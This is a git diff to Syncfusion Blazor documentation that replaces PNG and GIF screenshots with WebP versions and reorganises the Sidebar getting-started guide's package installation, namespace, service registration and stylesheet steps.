diff --git a/blazor/scheduler/images/blazor-scheduler-workdays.png b/blazor/scheduler/images/blazor-scheduler-workdays.png
deleted file mode 100644
index 97691b0d65..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-workdays.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-workdays.webp b/blazor/scheduler/images/blazor-scheduler-workdays.webp
new file mode 100644
index 0000000000..2387aebf58
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-workdays.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-workhours.png b/blazor/scheduler/images/blazor-scheduler-workhours.png
deleted file mode 100644
index 9ff3c21449..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-workhours.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-workhours.webp b/blazor/scheduler/images/blazor-scheduler-workhours.webp
new file mode 100644
index 0000000000..46c9f5f9ec
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-workhours.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-year-view.png b/blazor/scheduler/images/blazor-scheduler-year-view.png
deleted file mode 100644
index 17f2c85210..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-year-view.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-year-view.webp b/blazor/scheduler/images/blazor-scheduler-year-view.webp
new file mode 100644
index 0000000000..3fdc83690a
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-year-view.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler-yearview-othermonth-workcells.png b/blazor/scheduler/images/blazor-scheduler-yearview-othermonth-workcells.png
deleted file mode 100644
index b40153e518..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler-yearview-othermonth-workcells.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler-yearview-othermonth-workcells.webp b/blazor/scheduler/images/blazor-scheduler-yearview-othermonth-workcells.webp
new file mode 100644
index 0000000000..ca7908ac61
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler-yearview-othermonth-workcells.webp differ
diff --git a/blazor/scheduler/images/blazor-scheduler.png b/blazor/scheduler/images/blazor-scheduler.png
deleted file mode 100644
index d997cc84d8..0000000000
Binary files a/blazor/scheduler/images/blazor-scheduler.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-scheduler.webp b/blazor/scheduler/images/blazor-scheduler.webp
new file mode 100644
index 0000000000..e9857eec83
Binary files /dev/null and b/blazor/scheduler/images/blazor-scheduler.webp differ
diff --git a/blazor/scheduler/images/blazor-select-template.png b/blazor/scheduler/images/blazor-select-template.png
deleted file mode 100644
index 23d248b430..0000000000
Binary files a/blazor/scheduler/images/blazor-select-template.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-select-template.webp b/blazor/scheduler/images/blazor-select-template.webp
new file mode 100644
index 0000000000..89e13a681f
Binary files /dev/null and b/blazor/scheduler/images/blazor-select-template.webp differ
diff --git a/blazor/scheduler/images/blazor-server-template.png b/blazor/scheduler/images/blazor-server-template.png
deleted file mode 100644
index 27fd3a09a5..0000000000
Binary files a/blazor/scheduler/images/blazor-server-template.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-server-template.webp b/blazor/scheduler/images/blazor-server-template.webp
new file mode 100644
index 0000000000..b859ded525
Binary files /dev/null and b/blazor/scheduler/images/blazor-server-template.webp differ
diff --git a/blazor/scheduler/images/blazor-template.png b/blazor/scheduler/images/blazor-template.png
deleted file mode 100644
index 5aa8dccd46..0000000000
Binary files a/blazor/scheduler/images/blazor-template.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-template.webp b/blazor/scheduler/images/blazor-template.webp
new file mode 100644
index 0000000000..897cf1c36b
Binary files /dev/null and b/blazor/scheduler/images/blazor-template.webp differ
diff --git a/blazor/scheduler/images/blazor-wasm-app-template.png b/blazor/scheduler/images/blazor-wasm-app-template.png
deleted file mode 100644
index 8cf1737d81..0000000000
Binary files a/blazor/scheduler/images/blazor-wasm-app-template.png and /dev/null differ
diff --git a/blazor/scheduler/images/blazor-wasm-app-template.webp b/blazor/scheduler/images/blazor-wasm-app-template.webp
new file mode 100644
index 0000000000..6824d1db62
Binary files /dev/null and b/blazor/scheduler/images/blazor-wasm-app-template.webp differ
diff --git a/blazor/scheduler/images/event-details.png b/blazor/scheduler/images/event-details.png
deleted file mode 100644
index 48833d4a8d..0000000000
Binary files a/blazor/scheduler/images/event-details.png and /dev/null differ
diff --git a/blazor/scheduler/images/event-details.webp b/blazor/scheduler/images/event-details.webp
new file mode 100644
index 0000000000..5fc7daaef5
Binary files /dev/null and b/blazor/scheduler/images/event-details.webp differ
diff --git a/blazor/scheduler/images/import-cdn.png b/blazor/scheduler/images/import-cdn.png
deleted file mode 100644
index 075d96aab3..0000000000
Binary files a/blazor/scheduler/images/import-cdn.png and /dev/null differ
diff --git a/blazor/scheduler/images/import-cdn.webp b/blazor/scheduler/images/import-cdn.webp
new file mode 100644
index 0000000000..7db6a111c2
Binary files /dev/null and b/blazor/scheduler/images/import-cdn.webp differ
diff --git a/blazor/scheduler/images/razor-components-template.png b/blazor/scheduler/images/razor-components-template.png
deleted file mode 100644
index 6f2fa4c09f..0000000000
Binary files a/blazor/scheduler/images/razor-components-template.png and /dev/null differ
diff --git a/blazor/scheduler/images/razor-components-template.webp b/blazor/scheduler/images/razor-components-template.webp
new file mode 100644
index 0000000000..035b19b0ca
Binary files /dev/null and b/blazor/scheduler/images/razor-components-template.webp differ
diff --git a/blazor/scheduler/images/select-nuget.png b/blazor/scheduler/images/select-nuget.png
deleted file mode 100644
index 70f48d4928..0000000000
Binary files a/blazor/scheduler/images/select-nuget.png and /dev/null differ
diff --git a/blazor/scheduler/images/select-nuget.webp b/blazor/scheduler/images/select-nuget.webp
new file mode 100644
index 0000000000..e607176625
Binary files /dev/null and b/blazor/scheduler/images/select-nuget.webp differ
diff --git a/blazor/scheduler/minimalapi.md b/blazor/scheduler/minimalapi.md
index 089ebea78b..4f534e2f8e 100644
--- a/blazor/scheduler/minimalapi.md
+++ b/blazor/scheduler/minimalapi.md
@@ -575,7 +575,7 @@ http://localhost:5175
 
 
 ## Output Preview
-![Frontend Preview](./images/blazor-minimalAPI-frontend.png)
+![Frontend Preview](./images/blazor-minimalAPI-frontend.webp)
 *Image illustrating the Syncfusion Blazor Scheduler with Minimal API*
 
 ## Complete Sample Repository
diff --git a/blazor/scheduler/postgresql.md b/blazor/scheduler/postgresql.md
index 83fe1f1a7a..21e95a077f 100644
--- a/blazor/scheduler/postgresql.md
+++ b/blazor/scheduler/postgresql.md
@@ -977,10 +977,10 @@ You can now perform CRUD operations on the scheduler:
 All operations are automatically saved to the PostgreSQL database.
 
 ## Output Preview
-![Frontend Preview](./images/blazor-scheduler-postgresql-frontend.png)
+![Frontend Preview](./images/blazor-scheduler-postgresql-frontend.webp)
 *Image illustrating the Syncfusion Blazor Scheduler*
 
-![Database Preview](./images/blazor-scheduler-postgresql-database.png)
+![Database Preview](./images/blazor-scheduler-postgresql-database.webp)
 *Image illustrating the events of the Syncfusion Blazor Scheduler stored in PostgreSQL*
 
 ## Complete Sample Repository
diff --git a/blazor/sidebar/auto-close.md b/blazor/sidebar/auto-close.md
index c6e623b1da..fe3ada0d80 100644
--- a/blazor/sidebar/auto-close.md
+++ b/blazor/sidebar/auto-close.md
@@ -46,4 +46,4 @@ In the following sample, **mediaQuery** has been used for specific resolution to
 
 ```
 
-![Displaying Auto close in Blazor Sidebar](./images/blazor-sidebar-auto-close.gif)
\ No newline at end of file
+![Displaying Auto close in Blazor Sidebar](./images/blazor-sidebar-auto-close.webp)
\ No newline at end of file
diff --git a/blazor/sidebar/custom-context.md b/blazor/sidebar/custom-context.md
index 0daab725f3..ac2ceab142 100644
--- a/blazor/sidebar/custom-context.md
+++ b/blazor/sidebar/custom-context.md
@@ -125,4 +125,4 @@ In the following sample, click the toggle button to expand or collapse the Sideb
 
 ```
 
-![Blazor Sidebar with Custom Context](./images/blazor-sidebar-custom-context.png)
\ No newline at end of file
+![Blazor Sidebar with Custom Context](./images/blazor-sidebar-custom-context.webp)
\ No newline at end of file
diff --git a/blazor/sidebar/docking-sidebar.md b/blazor/sidebar/docking-sidebar.md
index 4286d5a8a3..bb22aebae3 100644
--- a/blazor/sidebar/docking-sidebar.md
+++ b/blazor/sidebar/docking-sidebar.md
@@ -171,4 +171,4 @@ In the following sample, the list item has icon with text representation. On doc
 ```
 
 
-![Docking in Blazor Sidebar](./images/blazor-sidebar-dock.gif)
\ No newline at end of file
+![Docking in Blazor Sidebar](./images/blazor-sidebar-dock.webp)
\ No newline at end of file
diff --git a/blazor/sidebar/getting-started-webapp.md b/blazor/sidebar/getting-started-webapp.md
index c8b58ac854..ce6db9d5bc 100644
--- a/blazor/sidebar/getting-started-webapp.md
+++ b/blazor/sidebar/getting-started-webapp.md
@@ -198,7 +198,7 @@ N> If the **Interactivity Location** is set to `Global` with `Auto` or `WebAssem
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sidebar component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNhJjsKXKHvqsDGC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sidebar Component](./images/blazor-sidebar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNhJjsKXKHvqsDGC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sidebar Component](./images/blazor-sidebar.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Sidebar).
 
@@ -257,7 +257,7 @@ Here, the DOM elements will not get changed. It only closes the main content by
 
 N> Class can be added to the Sidebar element using `HtmlAttributes` property. In that class, you have to add new styles or override existing styles of Sidebar element.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjhTjsAXUHEgsGGw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Enabling Backdrop in Blazor Sidebar](./images/blazor-sidebar-enable-backdrop.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjhTjsAXUHEgsGGw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Enabling Backdrop in Blazor Sidebar](./images/blazor-sidebar-enable-backdrop.webp)" %}
 
 ## Enable Animation
 
@@ -310,7 +310,7 @@ Animation transitions can be set while expanding or collapsing the Sidebar using
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBJNCKjKGsidAEC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sidebar with Animation](./images/blazor-sidebar-animation.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBJNCKjKGsidAEC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sidebar with Animation](./images/blazor-sidebar-animation.webp)" %}
 
 ## Navigation with Blazor Sidebar
 
@@ -482,7 +482,7 @@ In the following example, the Sidebar is rendered with Accordion component in it
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNBzXCKZgcBckYGf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Navigation with Blazor Sidebar](./images/blazor-sidebar-navigation.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNBzXCKZgcBckYGf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Navigation with Blazor Sidebar](./images/blazor-sidebar-navigation.webp)" %}
 
 ## Advantages of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sidebar
 
diff --git a/blazor/sidebar/getting-started.md b/blazor/sidebar/getting-started.md
index 6f1cd7a99b..3da918a634 100644
--- a/blazor/sidebar/getting-started.md
+++ b/blazor/sidebar/getting-started.md
@@ -11,7 +11,7 @@ documentation: ug
 
 # Getting Started with Blazor Sidebar Component
 
-This section briefly explains about how to include [Blazor Sidebar](https://www.syncfusion.com/blazor-components/blazor-sidebar) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sidebar](https://www.syncfusion.com/blazor-components/blazor-sidebar) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -25,23 +25,6 @@ This section briefly explains about how to include [Blazor Sidebar](https://www.
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
-
-To add the **Blazor Sidebar** component in the app, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), then search and install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -54,7 +37,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -67,26 +50,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure in the project root directory where the `.csproj` file is located.
-* Run the following command to install the [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Navigations -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -105,7 +68,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -116,29 +79,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Navigations and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
 
-To add the **Blazor Sidebar** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Navigations](https://www.nuget.org/packages/Syncfusion.Blazor.Navigations/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Navigations -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
-{% endtabcontent %}
-
-{% endtabcontents %}
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-## Add Import Namespaces
+## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Navigations` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -149,25 +113,17 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -175,23 +131,26 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
 
-## Add Blazor Sidebar component
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
+
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sidebar component
 
 Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sidebar component in the **~/Pages/Index.razor** file.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
+
+@using Syncfusion.Blazor.Navigations
 
 <div id="header" style="height:45px;text-align: center;color:white;background-color:midnightblue;font-size:1.2rem;line-height:45px;">
     Header
@@ -222,7 +181,7 @@ Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sidebar componen
 
 * Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Sidebar component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNhJjsKXKHvqsDGC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sidebar Component](./images/blazor-sidebar.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNhJjsKXKHvqsDGC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sidebar Component](./images/blazor-sidebar.webp)" %}
 
 ## Enable backdrop
 
@@ -230,7 +189,7 @@ Enabling the [ShowBackdrop](https://help.syncfusion.com/cr/blazor/Syncfusion.Bla
 Here, the DOM elements will not get changed. It only closes the main content by covering with a black backdrop overlay and focuses the Sidebar in the screen.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.Navigations
 @using Syncfusion.Blazor.Buttons
@@ -278,14 +237,14 @@ Here, the DOM elements will not get changed. It only closes the main content by
 
 N> Class can be added to the Sidebar element using `HtmlAttributes` property. In that class, you have to add new styles or override existing styles of Sidebar element.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjhTjsAXUHEgsGGw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Enabling Backdrop in Blazor Sidebar](./images/blazor-sidebar-enable-backdrop.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjhTjsAXUHEgsGGw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Enabling Backdrop in Blazor Sidebar](./images/blazor-sidebar-enable-backdrop.webp)" %}
 
 ## Enable Animation
 
 Animation transitions can be set while expanding or collapsing the Sidebar using the `Animate` property. By default, `Animate` property is set to true. `EnableRTL` will display the Sidebar in the right-to-left direction.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.Navigations
 @using Syncfusion.Blazor.Buttons
@@ -331,7 +290,7 @@ Animation transitions can be set while expanding or collapsing the Sidebar using
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBJNCKjKGsidAEC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sidebar with Animation](./images/blazor-sidebar-animation.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZBJNCKjKGsidAEC?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Sidebar with Animation](./images/blazor-sidebar-animation.webp)" %}
 
 ## Navigation with Blazor Sidebar
 
@@ -340,7 +299,7 @@ Any HTML element can be placed in the Sidebar content area. Sidebar supports all
 In the following example, the Sidebar is rendered with Accordion component in its content for navigation between the pages in a portal.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
 @using Syncfusion.Blazor.Navigations
 @using Syncfusion.Blazor.Buttons
@@ -503,7 +462,7 @@ In the following example, the Sidebar is rendered with Accordion component in it
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rNBzXCKZgcBckYGf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Navigation with Blazor Sidebar](./images/blazor-sidebar-navigation.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rNBzXCKZgcBckYGf?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Navigation with Blazor Sidebar](./images/blazor-sidebar-navigation.webp)" %}
 
 N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/Sidebar).
 
@@ -522,7 +481,7 @@ N> [View Sample in GitHub](https://github.com/SyncfusionExamples/Blazor-Getting-
 11. The component provides smooth transitions when expanding or collapsing the sidebar.
 12. Seamless support for RTL languages using [EnableRtl](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Navigations.SfSidebar.html#Syncfusion_Blazor_Navigations_SfSidebar_EnableRtl) property, making the component suitable for international applications.
 
-## See Also
+## See also
 
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in .NET Core CLI](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app)
 * [Getting Started with Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor for Client-Side in Visual Studio](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-visual-studio)
diff --git a/blazor/sidebar/how-to/multiple-sidebar.md b/blazor/sidebar/how-to/multiple-sidebar.md
index b7df26eeb8..547a2af7f5 100644
--- a/blazor/sidebar/how-to/multiple-sidebar.md
+++ b/blazor/sidebar/how-to/multiple-sidebar.md
@@ -76,4 +76,4 @@ In the following sample, more than one Sidebar is rendered based on `Position` p
 
 ```
 
-![Blazor Multiple Sidebars](./../images/blazor-multiple-sidebars.png)
\ No newline at end of file
+![Blazor Multiple Sidebars](./../images/blazor-multiple-sidebars.webp)
\ No newline at end of file
diff --git a/blazor/sidebar/how-to/open-and-close-the-sidebar.md b/blazor/sidebar/how-to/open-and-close-the-sidebar.md
index 4221bdfc3e..42041dc382 100644
--- a/blazor/sidebar/how-to/open-and-close-the-sidebar.md
+++ b/blazor/sidebar/how-to/open-and-close-the-sidebar.md
@@ -69,4 +69,4 @@ In the following sample, `IsOpen` property has been used to show or hide the Sid
 
 ```
 
-![Opening and Closing Blazor Sidebar](./../images/OpenCloseSidebar.gif)
\ No newline at end of file
+![Opening and Closing Blazor Sidebar](./../images/OpenCloseSidebar.webp)
\ No newline at end of file
diff --git a/blazor/sidebar/how-to/sidebar-with-list-view.md b/blazor/sidebar/how-to/sidebar-with-list-view.md
index 4e7eb226a1..bdb885fd17 100644
--- a/blazor/sidebar/how-to/sidebar-with-list-view.md
+++ b/blazor/sidebar/how-to/sidebar-with-list-view.md
@@ -159,4 +159,4 @@ In the following example, the Sidebar is rendered with ListView component in its
 
 ```
 
